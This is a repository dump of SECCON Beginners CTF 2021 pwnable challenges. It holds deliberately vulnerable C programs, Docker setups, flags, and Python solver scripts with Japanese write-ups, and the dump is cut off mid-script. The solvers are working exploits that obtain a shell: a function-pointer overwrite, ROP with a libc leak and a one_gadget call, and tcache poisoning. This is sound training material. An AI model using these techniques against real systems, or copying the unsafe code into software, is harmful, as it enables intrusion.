-------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | 2021_emulator: 5 | build: 6 | context: . 7 | restart: always 8 | working_dir: /home/pwn 9 | container_name: 2021_emulator 10 | ulimits: 11 | nproc: 65535 12 | core: 0 13 | ports: 14 | - "4100:4100" 15 | entrypoint: /etc/init.sh 16 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/files/2021_emulator/Makefile: -------------------------------------------------------------------------------- 1 | all: emulator 2 | 3 | emulator: *.c *.h Makefile 4 | gcc -o chall -Wall -Wextra -no-pie main.c 5 | cp chall ../files/ 6 | cp chall ../solver/ 7 | 8 | clean: 9 | rm chall ../files/chall ../solver/chall 10 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/files/2021_emulator/banner.txt: -------------------------------------------------------------------------------- 1 | .:: . .:::.,:::::: ::: .,-::::: ... . : .,:::::: 2 | ';;, ;; ;;;' ;;;;'''' ;;; ,;;;'````' .;;;;;;;. ;;,. ;;; ;;;;'''' 3 | '[[, [[, [[' [[cccc [[[ [[[ ,[[ \[[,[[[[, ,[[[[, [[cccc 4 | Y$c$$$c$P $$"""" $$' $$$ $$$, $$$$$$$$$$$"$$$ $$"""" 5 | "88"888 888oo,__ o88oo,.__`88bo,__,o,"888,_ _,88P888 Y88" 888o888oo,__ 6 | "M "M" """"YUMMM""""YUMMM "YUMMMMMP" "YMMMMMP" MMM M' "MMM""""YUMMM 7 | 8 | :::::::::::: ... 9 | ;;;;;;;;''''.;;;;;;;. 10 | [[ ,[[ \[[, 11 | $$ $$$, $$$ 12 | 88, "888,_ _,88P 13 | MMM "YMMMMMP" 14 | 15 | .:::. .:::. :. 16 | ,;'``;. ,;;, ,;'``;. ;; 17 | '' ,[[',[' [n '' ,[['[[ 18 | .c$$P' $$ $$ .c$$P' $$ 19 | d88 _,oo,Y8, ,8"d88 _,oo,88 20 | MMMUP*"^^ "YmmP MMMUP*"^^MM 21 | 22 | .,:::::: . : ... ::: ::: :::. :::::::::::: ... :::::::.. 23 | ;;;;'''' ;;,. ;;; ;; ;;; ;;; ;;`;;;;;;;;;;''''.;;;;;;;. ;;;;``;;;; 24 | [[cccc [[[[, ,[[[[, [[' [[[ [[[ ,[[ '[[, [[ ,[[ \[[, [[[,/[[[' 25 | $$"""" $$$$$$$$"$$$ $$ $$$ $$' c$$$cc$$$c $$ $$$, $$$ $$$$$$c 26 | 888oo,__ 888 Y88" 888o88 .d888o88oo,.__888 888, 88, "888,_ _,88P 888b "88bo, 27 | """"YUMMMMMM M' "MMM "YmmMMMM""""""YUMMMYMM ""` MMM "YMMMMMP" MMMM "W" 28 | 29 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/files/2021_emulator/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/2021_emulator/files/2021_emulator/chall -------------------------------------------------------------------------------- /pwnable/2021_emulator/files/2021_emulator/emulator.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | enum { 7 | A, 8 | B, 9 | C, 10 | D, 11 | E, 12 | H, 13 | L, 14 | PC_H, 15 | PC_L, 16 | SP_H, 17 | SP_L, 18 | FLAG, 19 | REGISTERS_COUNT, 20 | PC = PC_H, 21 | SP = SP_H, 22 | HL = H, 23 | M 24 | }; 25 | 26 | struct emulator { 27 | uint8_t registers[REGISTERS_COUNT]; 28 | uint8_t memory[0x4000]; 29 | void (*instructions[0xFF])(struct emulator*); 30 | }; 31 | 32 | typedef void instruction_t(struct emulator *); 33 | 34 | void load_to_mem(struct emulator *emu, FILE *f) { 35 | char c; 36 | for(int i = 0, c = fgetc(f); c != EOF && i < 0x4000; i++, c = fgetc(f)) { 37 | emu->memory[i] = c; 38 | if (c == 0xC9) 39 | break; 40 | } 41 | } 42 | 43 | uint16_t get_pc(struct emulator *e) { 44 | uint16_t ret = 0; 45 | ret |= (e->registers[PC_H] << 8); 46 | ret |= e->registers[PC_L]; 47 | return ret; 48 | } 49 | 50 | uint16_t get_hl(struct emulator *e) { 51 | uint16_t ret = 0; 52 | ret |= (e->registers[H] << 8); 53 | ret |= e->registers[L]; 54 | return ret; 55 | } 56 | 57 | uint16_t get_sp(struct emulator *e) { 58 | uint16_t ret = 0; 59 | ret |= (e->registers[SP_H] << 8); 60 | ret |= e->registers[SP_L]; 61 | return ret; 62 | } 63 | 64 | uint8_t get_mem_pc(struct emulator *e) { 65 | return e->memory[get_pc(e)]; 66 | } 67 | 68 | uint8_t get_m(struct emulator *e) { 69 | return e->memory[get_hl(e)]; 70 | } 71 | 72 | void inc_pc(struct emulator *e) { 73 | if (e->registers[PC_L] == 0xFF) { 74 | e->registers[PC_L] = 0; 75 | e->registers[PC_H]++; 76 | } else { 77 | e->registers[PC_L]++; 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/files/2021_emulator/main.c: -------------------------------------------------------------------------------- 1 | #include "instruction.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void print_banner(); 11 | 12 | int main() { 13 | struct emulator *emu = calloc(sizeof(struct emulator), 0); 14 | init_instructions(emu); 15 | 16 | print_banner(); 17 | 18 | puts("loading to memory..."); 19 | load_to_mem(&emu->memory, stdin); 20 | puts("running emulator..."); 21 | while (1) { 22 | uint8_t pc = get_mem_pc(emu); 23 | emu->instructions[pc](emu); 24 | inc_pc(emu); 25 | } 26 | } 27 | 28 | void print_banner() { 29 | system("cat banner.txt"); 30 | } 31 | 32 | __attribute__((constructor)) 33 | void setup() { 34 | setvbuf(stdin, NULL, _IONBF, 0); 35 | setvbuf(stdout, NULL, _IONBF, 0); 36 | alarm(60); 37 | } 38 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | 3 | RUN pip install -U pwn 4 | 5 | WORKDIR /app 6 | ADD . /app 7 | 8 | ENV PWNLIB_NOTERM true 9 | 10 | CMD ["python3", "/app/solve.py"] 11 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/solver/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/2021_emulator/solver/chall -------------------------------------------------------------------------------- /pwnable/2021_emulator/solver/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | import os 4 | 5 | HOST = os.getenv('CTF4B_HOST', '0.0.0.0') 6 | PORT = int(os.getenv('CTF4B_PORT', '4100')) 7 | 8 | binfile = './chall' 9 | context.log_level = 'critical' 10 | e = ELF(binfile) 11 | context.binary = binfile 12 | 13 | io = remote(HOST, PORT) 14 | #io = process(binfile) 15 | 16 | def mvi(r, d): 17 | if r == 'A': 18 | return bytes([0x3E, d]) 19 | elif r == 'B': 20 | return bytes([0x06, d]) 21 | elif r == 'C': 22 | return bytes([0x0E, d]) 23 | elif r == 'D': 24 | return bytes([0x16, d]) 25 | elif r == 'E': 26 | return bytes([0x1E, d]) 27 | elif r == 'H': 28 | return bytes([0x26, d]) 29 | elif r == 'L': 30 | return bytes([0x2E, d]) 31 | elif r == 'M': 32 | return bytes([0x36, d]) 33 | 34 | 35 | system_addr = e.sym['system'] 36 | 37 | 38 | payload = mvi('H', 0x40) # memory[0x4000] 39 | payload += mvi('L', 0x0c) # memory[0x400c] 40 | payload += mvi('M', system_addr & 0xff) # memory[0x400c] = system_addr & 0xff 41 | payload += mvi('L', 0x0d) # memory[0x400d] 42 | payload += mvi('M', system_addr >> 8 & 0xff) # memory[0x400d] = system_addr >> 8 & 0xff 43 | payload += mvi('L', 0x0e) # memory[0x400e] 44 | payload += mvi('M', system_addr >> 16 & 0xff) # memory[0x400e] = system_addr >> 16 & 0xff 45 | payload += mvi('A', ord('s')) 46 | payload += mvi('B', ord('h')) 47 | payload += mvi('C', 0) 48 | payload += bytes([0x01, 0xc9]) 49 | 50 | io.recvuntil(b'loading to memory...') 51 | io.send(payload) 52 | io.recvuntil(b'running emulator...') 53 | 54 | io.sendline('cat flag.txt') 55 | 56 | io.recvuntil(b'ctf4b') 57 | print('ctf4b' + io.recvuntil(b'}').decode('utf-8', 'ignore')) 58 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/writeup.md: -------------------------------------------------------------------------------- 1 | # writeup - Writeup 2 | 3 | `struct emulator`は 4 | 5 | ```c 6 | srtuct emulator { 7 | char registars[13]; 8 | char memory[0x4000]; 9 | void (*instructions[0xff])(struct emulator*); 10 | }; 11 | ``` 12 | 13 | のように定義されており,各命令はこの構造体のポインタを受け取って操作している. 14 | 15 | `mvi`命令で,`emulator.memory`の任意のオフセットにデータを直接書き込めるので,`memory`の範囲を超えて`instructions`を上書きすることができる. 16 | 17 | 運良く`system`が使われているので,これを利用してshellを取る. 18 | 19 | ```python3 20 | #!/bin/env python3 21 | from pwn import * 22 | binfile = './chall' 23 | context.log_level = 'critical' 24 | e = ELF(binfile) 25 | context.binary = binfile 26 | # io = remote() 27 | io = process(binfile) 28 | 29 | def mvi(r, d): 30 | if r == 'A': 31 | return bytes([0x3E, d]) 32 | elif r == 'B': 33 | return bytes([0x06, d]) 34 | elif r == 'C': 35 | return bytes([0x0E, d]) 36 | elif r == 'D': 37 | return bytes([0x16, d]) 38 | elif r == 'E': 39 | return bytes([0x1E, d]) 40 | elif r == 'H': 41 | return bytes([0x26, d]) 42 | elif r == 'L': 43 | return bytes([0x2E, d]) 44 | elif r == 'M': 45 | return bytes([0x36, d]) 46 | 47 | 48 | system_addr = e.sym['system'] 49 | 50 | 51 | payload = mvi('H', 0x40) # memory[0x4000] 52 | payload += mvi('L', 0x0c) # memory[0x400c] 53 | payload += mvi('M', system_addr & 0xff) # memory[0x400c] = system_addr & 0xff 54 | payload += mvi('L', 0x0d) # memory[0x400d] 55 | payload += mvi('M', system_addr >> 8 & 0xff) # memory[0x400d] = system_addr >> 8 & 0xff 56 | payload += mvi('L', 0x0e) # memory[0x400e] 57 | payload += mvi('M', system_addr >> 16 & 0xff) # memory[0x400e] = system_addr >> 16 & 0xff 58 | payload += mvi('A', ord('s')) 59 | payload += mvi('B', ord('h')) 60 | payload += mvi('C', 0) 61 | payload += bytes([0x00, 0x01, 0xc9]) 62 | 63 | io.recvuntil(b'loading to memory...') 64 | io.send(payload) 65 | io.recvuntil(b'running emulator...') 66 | io.interactive() 67 | ``` 68 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV DEBIAN_FRONTEND nointeractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD build/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/pwn/redir.sh 12 | RUN chmod 550 /home/pwn/redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | ADD FLAG /home/pwn/flag.txt 17 | ADD files/beginners_rop/chall /home/pwn/chall 18 | RUN chmod 440 /home/pwn/flag.txt 19 | RUN chmod 550 /home/pwn/chall 20 | 21 | RUN chown -R root:pwn /home/pwn 22 | 23 | RUN ls /home/pwn -lh 24 | 25 | RUN service xinetd restart 26 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{H4rd_ROP_c4f3} -------------------------------------------------------------------------------- /pwnable/beginners_rop/README.md: -------------------------------------------------------------------------------- 1 | # Beginners ROP 2 | 3 | ## 問題文 4 | Do you like programming? 5 | 6 | Did you know Return Oriented Programming? 7 | 8 | ## 難易度 9 | **Easy** 10 | 11 | ## 作問にあたって 12 | シンプルなROP. 13 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/build/Makefile: -------------------------------------------------------------------------------- 1 | all: chall 2 | 3 | chall: src.c Makefile 4 | gcc src.c -no-pie -fno-stack-protector -o chall -Wall -Wextra 5 | cp chall ../solver/chall 6 | cp chall ../files/chall 7 | 8 | clean: 9 | rm -f chall ../solver/chall ../files/chall 10 | 11 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/build/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/beginners_rop/build/chall -------------------------------------------------------------------------------- /pwnable/beginners_rop/build/flag: -------------------------------------------------------------------------------- 1 | ctf4b{H4rd_ROP_c4f3} -------------------------------------------------------------------------------- /pwnable/beginners_rop/build/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/build/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 4102 11 | server = /home/pwn/redir.sh 12 | per_source = 3 13 | rlimit_cpu = 60 14 | rlimit_as = 1024M 15 | } 16 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/build/redir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/build/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char *gets(char *s); 5 | 6 | int main() { 7 | char str[0x100]; 8 | gets(str); 9 | puts(str); 10 | } 11 | 12 | __attribute__((constructor)) 13 | void setup() { 14 | setvbuf(stdin, NULL, _IONBF, 0); 15 | setvbuf(stdout, NULL, _IONBF, 0); 16 | alarm(60); 17 | } 18 | 19 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | beginners_rop: 5 | build: 6 | context: . 7 | restart: always 8 | working_dir: /home/pwn 9 | container_name: beginners_rop 10 | ulimits: 11 | nproc: 65535 12 | core: 0 13 | ports: 14 | - "4102:4102" 15 | entrypoint: /etc/init.sh 16 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/files/beginners_rop/Makefile: -------------------------------------------------------------------------------- 1 | all: chall 2 | 3 | chall: src.c Makefile 4 | gcc src.c -no-pie -fno-stack-protector -o chall -Wall -Wextra 5 | 6 | clean: 7 | rm -f chall 8 | 9 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/files/beginners_rop/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/beginners_rop/files/beginners_rop/chall -------------------------------------------------------------------------------- /pwnable/beginners_rop/files/beginners_rop/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/beginners_rop/files/beginners_rop/libc-2.27.so -------------------------------------------------------------------------------- /pwnable/beginners_rop/files/beginners_rop/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char *gets(char *s); 5 | 6 | int main() { 7 | char str[0x100]; 8 | gets(str); 9 | puts(str); 10 | } 11 | 12 | __attribute__((constructor)) 13 | void setup() { 14 | setvbuf(stdin, NULL, _IONBF, 0); 15 | setvbuf(stdout, NULL, _IONBF, 0); 16 | alarm(60); 17 | } 18 | 19 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | 3 | RUN pip install -U pwn 4 | 5 | WORKDIR /app 6 | ADD . /app 7 | 8 | ENV PWNLIB_NOTERM true 9 | 10 | CMD ["python3", "/app/solve.py"] 11 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/solver/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/beginners_rop/solver/chall -------------------------------------------------------------------------------- /pwnable/beginners_rop/solver/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/beginners_rop/solver/libc-2.27.so -------------------------------------------------------------------------------- /pwnable/beginners_rop/solver/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | import os 4 | 5 | HOST = os.getenv('CTF4B_HOST', '0.0.0.0') 6 | PORT = int(os.getenv('CTF4B_PORT', '4102')) 7 | 8 | context.log_level = 'critical' 9 | binfile = './chall' 10 | e = ELF(binfile) 11 | libc = ELF('./libc-2.27.so') 12 | context.binary = binfile 13 | io = remote(HOST, PORT) 14 | 15 | # padding 16 | pad = b'a' * 0x108 17 | 18 | # one_gadgets 19 | one_gadgets = [0x4f3d5, 0x4f432, 0x10a41c] 20 | 21 | # libc base address leak 22 | rop = ROP(e) 23 | rop.puts(e.got['__libc_start_main']) 24 | rop.call(e.sym['main']) 25 | 26 | payload = pad + rop.chain() 27 | 28 | io.sendline(payload) 29 | 30 | io.readline() 31 | 32 | gets_addr = io.recvline() 33 | 34 | libc_base = unpack(gets_addr.ljust(8, b'\0')) - libc.sym['__libc_start_main'] 35 | 36 | # call one_gadget 37 | 38 | rop = ROP(e) 39 | rop.call(pack(libc_base + one_gadgets[0])) 40 | 41 | payload = pad + rop.chain() 42 | 43 | io.sendline(payload) 44 | 45 | io.sendline('echo "hello shell"') 46 | io.recvuntil(b'hello shell\n') 47 | io.sendline('cat flag.txt') 48 | print(io.recvuntil(b'}').decode('utf-8', 'ignore')) 49 | io.close() 50 | exit() 51 | -------------------------------------------------------------------------------- /pwnable/beginners_rop/writeup.md: -------------------------------------------------------------------------------- 1 | # writeup - Writeup 2 | 3 | ``` 4 | ┌ 52: int main (int argc, char **argv, char **envp); 5 | │ ; var char *s @ rbp-0x100 6 | │ 0x00401196 f30f1efa endbr64 7 | │ 0x0040119a 55 push rbp 8 | │ 0x0040119b 4889e5 mov rbp, rsp 9 | │ 0x0040119e 4881ec000100. sub rsp, 0x100 10 | │ 0x004011a5 488d8500ffff. lea rax, [s] 11 | │ 0x004011ac 4889c7 mov rdi, rax ; char *s 12 | │ 0x004011af e8dcfeffff call sym.imp.gets ; char *gets(char *s) 13 | │ 0x004011b4 488d8500ffff. lea rax, [s] 14 | │ 0x004011bb 4889c7 mov rdi, rax ; const char *s 15 | │ 0x004011be e8adfeffff call sym.imp.puts ; int puts(const char *s) 16 | │ 0x004011c3 b800000000 mov eax, 0 17 | │ 0x004011c8 c9 leave 18 | └ 0x004011c9 c3 ret 19 | ``` 20 | 21 | 自明なバッファオーバーフローがあり,canaryが無いので,ROPを組む. 22 | 23 | まずはgotを使ってlibcのアドレスをリークさせ,ret2mainでもう一度ROP. 24 | 25 | one_gadgetを呼び出す. 26 | 27 | ```python 28 | #!/usr/bin/env python3 29 | from pwn import * 30 | context.log_level = 'critical' 31 | binfile = './chall' 32 | e = ELF(binfile) 33 | libc = ELF('./libc-2.27.so') 34 | context.binary = binfile 35 | #io = process(binfile) 36 | io = remote('localhost', 4102) 37 | 38 | pad = b'a' * 0x108 39 | 40 | # one_gadgets (Ubuntu GLIBC 2.27-3ubuntu1.4) 41 | one_gadgets = [0x4f3d5, 0x4f432, 0x10a41c] 42 | 43 | # libc base address leak 44 | 45 | rop = ROP(e) 46 | rop.puts(e.got['__libc_start_main']) 47 | rop.call(e.sym['main']) 48 | 49 | payload = pad + rop.chain() 50 | 51 | io.sendline(payload) 52 | 53 | _ = io.readline() 54 | 55 | gets_addr = io.recvline() 56 | 57 | libc_base = unpack(gets_addr.ljust(8, b'\0')) - libc.sym['__libc_start_main'] 58 | 59 | print("libc base addr: ", hex(libc_base)) 60 | 61 | # call one_gadget 62 | 63 | rop = ROP(e) 64 | rop.call(pack(libc_base + one_gadgets[0])) 65 | 66 | payload = pad + rop.chain() 67 | 68 | io.sendline(payload) 69 | 70 | io.interactive() 71 | ``` 72 | -------------------------------------------------------------------------------- /pwnable/freeless/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD build/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/pwn/.redir.sh 12 | RUN chmod 550 /home/pwn/.redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | WORKDIR /home/pwn 17 | ADD build/flag.txt flag.txt 18 | ADD files/chall chall 19 | RUN chmod 440 flag.txt 20 | RUN chmod 550 chall 21 | RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt 22 | 23 | RUN chown -R root:pwn /home/pwn 24 | 25 | RUN ls /home/pwn -lh 26 | 27 | RUN service xinetd restart 28 | -------------------------------------------------------------------------------- /pwnable/freeless/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{sysmalloc_wh4t_R_U_d01ng???} -------------------------------------------------------------------------------- /pwnable/freeless/README.md: -------------------------------------------------------------------------------- 1 | # freeless 2 | Author: ptr-yudai 3 | 4 | ## 問題文 5 | `free`関数を使わなければUse-after-Freeは発生しないですよね? 6 | 7 | ## 難易度 8 | Hard 9 | -------------------------------------------------------------------------------- /pwnable/freeless/build/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wl,-z,now,-z,relro main.c -o ../files/chall -fstack-protector -pie 3 | 4 | -------------------------------------------------------------------------------- /pwnable/freeless/build/flag.txt: -------------------------------------------------------------------------------- 1 | ctf4b{sysmalloc_wh4t_R_U_d01ng???} 2 | -------------------------------------------------------------------------------- /pwnable/freeless/build/init.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwnable/freeless/build/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX_NOTE 0x10 6 | 7 | char *note[MAX_NOTE]; 8 | 9 | void readline(char *buf) { 10 | char c; 11 | while ((read(0, &c, 1) == 1) && c != '\n') 12 | *(buf++) = c; 13 | } 14 | void print(const char *msg) { 15 | if (write(1, msg, strlen(msg)) < 0) 16 | _exit(1); 17 | } 18 | int readi(void) { 19 | char buf[0x10]; 20 | if (read(0, buf, sizeof(buf)) < 0) 21 | _exit(1); 22 | return atoi(buf); 23 | } 24 | 25 | int menu(void) { 26 | print("1. new\n2. edit\n3. show\n> "); 27 | return readi(); 28 | } 29 | 30 | int main() { 31 | unsigned int idx, size; 32 | while (1) { 33 | switch (menu()) { 34 | 35 | case 1: 36 | print("index: "); 37 | idx = (unsigned int)readi(); 38 | if (idx >= MAX_NOTE || note[idx]) { 39 | print("[-] invalid index\n"); 40 | } else { 41 | print("size: "); 42 | size = (unsigned int)readi(); 43 | if (size >= 0x1000) { 44 | print("[-] size too big\n"); 45 | } else { 46 | note[idx] = (char*)malloc(size); 47 | } 48 | } 49 | break; 50 | 51 | case 2: 52 | print("index: "); 53 | idx = (unsigned int)readi(); 54 | if (idx >= MAX_NOTE || note[idx] == NULL) { 55 | print("[-] invalid index\n"); 56 | } else { 57 | print("data: "); 58 | readline(note[idx]); 59 | } 60 | break; 61 | 62 | case 3: 63 | print("index: "); 64 | idx = (unsigned int)readi(); 65 | if (idx >= MAX_NOTE || note[idx] == NULL) { 66 | print("[-] invalid index\n"); 67 | } else { 68 | print("data: "); 69 | print(note[idx]); 70 | print("\n"); 71 | } 72 | break; 73 | 74 | default: 75 | print("[+] bye"); 76 | _exit(0); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /pwnable/freeless/build/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 9999 11 | server = /home/pwn/.redir.sh 12 | rlimit_as = 1024M 13 | } -------------------------------------------------------------------------------- /pwnable/freeless/build/redir.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwnable/freeless/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | freeless: 4 | build: 5 | context: . 6 | working_dir: /home/pwn 7 | container_name: freeless 8 | ulimits: 9 | nproc: 65535 10 | core: 0 11 | ports: 12 | - "9077:9999" 13 | entrypoint: /etc/init.sh 14 | -------------------------------------------------------------------------------- /pwnable/freeless/files/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/freeless/files/chall -------------------------------------------------------------------------------- /pwnable/freeless/files/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/freeless/files/libc-2.31.so -------------------------------------------------------------------------------- /pwnable/freeless/files/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX_NOTE 0x10 6 | 7 | char *note[MAX_NOTE]; 8 | 9 | void readline(char *buf) { 10 | char c; 11 | while ((read(0, &c, 1) == 1) && c != '\n') 12 | *(buf++) = c; 13 | } 14 | void print(const char *msg) { 15 | if (write(1, msg, strlen(msg)) < 0) 16 | _exit(1); 17 | } 18 | int readi(void) { 19 | char buf[0x10]; 20 | if (read(0, buf, sizeof(buf)) < 0) 21 | _exit(1); 22 | return atoi(buf); 23 | } 24 | 25 | int menu(void) { 26 | print("1. new\n2. edit\n3. show\n> "); 27 | return readi(); 28 | } 29 | 30 | int main() { 31 | unsigned int idx, size; 32 | while (1) { 33 | switch (menu()) { 34 | 35 | case 1: 36 | print("index: "); 37 | idx = (unsigned int)readi(); 38 | if (idx >= MAX_NOTE || note[idx]) { 39 | print("[-] invalid index\n"); 40 | } else { 41 | print("size: "); 42 | size = (unsigned int)readi(); 43 | if (size >= 0x1000) { 44 | print("[-] size too big\n"); 45 | } else { 46 | note[idx] = (char*)malloc(size); 47 | } 48 | } 49 | break; 50 | 51 | case 2: 52 | print("index: "); 53 | idx = (unsigned int)readi(); 54 | if (idx >= MAX_NOTE || note[idx] == NULL) { 55 | print("[-] invalid index\n"); 56 | } else { 57 | print("data: "); 58 | readline(note[idx]); 59 | } 60 | break; 61 | 62 | case 3: 63 | print("index: "); 64 | idx = (unsigned int)readi(); 65 | if (idx >= MAX_NOTE || note[idx] == NULL) { 66 | print("[-] invalid index\n"); 67 | } else { 68 | print("data: "); 69 | print(note[idx]); 70 | print("\n"); 71 | } 72 | break; 73 | 74 | default: 75 | print("[+] bye"); 76 | _exit(0); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /pwnable/freeless/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-alpine 2 | 3 | RUN pip install ptrlib 4 | 5 | ADD libc-2.31.so . 6 | ADD solve.py . 7 | 8 | CMD ["python3", "solve.py"] 9 | -------------------------------------------------------------------------------- /pwnable/freeless/solver/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/freeless/solver/libc-2.31.so -------------------------------------------------------------------------------- /pwnable/freeless/solver/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | PORT = os.getenv("CTF4B_PORT", "9999") 5 | HOST = os.getenv("CTF4B_HOST", "localhost") 6 | 7 | def new(index, size): 8 | sock.sendlineafter("> ", "1") 9 | sock.sendlineafter(": ", str(index)) 10 | sock.sendlineafter(": ", str(size)) 11 | def edit(index, data): 12 | sock.sendlineafter("> ", "2") 13 | sock.sendlineafter(": ", str(index)) 14 | sock.sendlineafter(": ", data) 15 | def show(index): 16 | sock.sendlineafter("> ", "3") 17 | sock.sendlineafter(": ", str(index)) 18 | return sock.recvlineafter(": ") 19 | 20 | libc = ELF("./libc-2.31.so") 21 | sock = Socket(HOST, int(PORT)) 22 | 23 | # shrink top 24 | new(0, 0x18) 25 | edit(0, b'A' * 0x18 + p64(0xd51)) 26 | new(1, 0xd48) # link to unsortedbin 27 | 28 | # leak libc 29 | edit(0, b'A' * 0x20) 30 | libc_base = u64(show(0)[0x20:]) - libc.main_arena() - 0x60 31 | logger.info("libc = " + hex(libc_base)) 32 | libc.set_base(libc_base) 33 | edit(0, b'A' * 0x18 + p64(0xd31)) 34 | new(2, 0xd18) # consume unsortedbin 35 | 36 | # shrink top 37 | edit(1, b'B' * 0xd48 + p64(0x2b1)) 38 | new(3, 0x2a8) # link to tcache 39 | 40 | # shrink top 41 | new(4, 0xa98) 42 | edit(4, b'C' * 0xa98 + p64(0x2b1)) 43 | new(5, 0x2a8) # link to tcache 44 | 45 | # tcache poisoning 46 | payload = b'C' * 0xa98 + p64(0x291) 47 | payload += p64(libc.symbol('__free_hook')) 48 | edit(4, payload) 49 | new(6, 0x288) 50 | new(7, 